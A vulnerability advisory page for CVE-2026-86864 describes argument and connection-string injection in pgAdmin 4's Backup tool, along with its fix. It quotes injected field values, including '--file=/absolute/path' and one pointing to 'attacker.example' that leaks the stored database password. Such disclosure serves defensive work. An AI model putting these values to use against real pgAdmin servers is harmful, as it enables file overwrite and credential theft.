CVE-2026-86864
Undergoing Analysis
Undergoing Analysis - In Progress
BaseFortify
Vulnerability report for CVE-2026-86864, including description, CVSS score, EPSS score, affected products, exploitability, helpful resources, and attack-flow context.
Publication date: 2026-09-17
Last updated on: 2026-09-18
Assigner: PostgreSQL
Description
Description
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.
The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.
The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.
This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
CVSS Scores
EPSS Scores
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Meta Information
Affected Vendors & Products
Currently, no data is known.
Helpful Resources
Exploitability
CWE
KEV
| CWE ID | Description |
|---|---|
| CWE-88 | The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. |
| CWE-22 | The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. |
